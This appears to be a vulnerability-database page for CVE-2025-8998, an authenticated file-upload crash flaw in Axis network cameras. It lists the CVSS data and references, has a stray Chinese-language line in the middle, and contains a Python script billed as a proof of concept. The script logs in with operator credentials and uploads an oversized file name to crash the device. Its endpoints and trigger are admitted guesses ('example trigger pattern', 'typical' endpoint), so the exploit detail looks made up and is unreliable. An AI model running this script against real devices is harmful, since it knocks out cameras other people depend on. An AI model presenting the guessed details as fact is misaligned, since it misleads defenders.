CVE-2025-8998

Description

It was possible to upload files with a specific name to a temporary directory, which may result in process crashes and impact usability. This flaw can only be exploited after authenticating with an operator- or administrator-privileged service account.

CVSS Details

CVSS Score

3.1

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

Axis网络摄像头和视频设备（固件版本 < 修复版本）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-8998 PoC - File Upload leading to DoS
# Requires valid operator/administrator credentials

import requests
import sys

TARGET = "http://target-device.local"
USERNAME = "operator"
PASSWORD = "password"

def exploit():
    """Upload file with specific name to trigger crash"""
    session = requests.Session()
    
    # Authentication
    login_url = f"{TARGET}/axis-cgi/pwdgrp.cgi"
    auth_data = {
        "user": USERNAME,
        "password": PASSWORD
    }
    session.post(login_url, data=auth_data)
    
    # Craft malicious filename to trigger vulnerability
    # The specific filename pattern triggers the DoS condition
    malicious_filename = "a" * 500 + ".tmp"  # Example trigger pattern
    
    # File upload endpoint (typical Axis upload endpoint)
    upload_url = f"{TARGET}/axis-cgi/upload.cgi"
    files = {
        "file": (malicious_filename, b"A" * 1000, "application/octet-stream")
    }
    
    try:
        response = session.post(upload_url, files=files, timeout=10)
        print(f"Upload response: {response.status_code}")
        print("Check if service is still responsive...")
    except requests.exceptions.RequestException as e:
        print(f"Request failed (service may be crashed): {e}")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-8998
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-8998
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-8998/
[4] VulDB https://vuldb.com/cve/CVE-2025-8998
[5] https://www.axis.com/dam/public/f5/62/80/cve-2025-8998pdf-en-US-504374.pdf

Raw JSON Data

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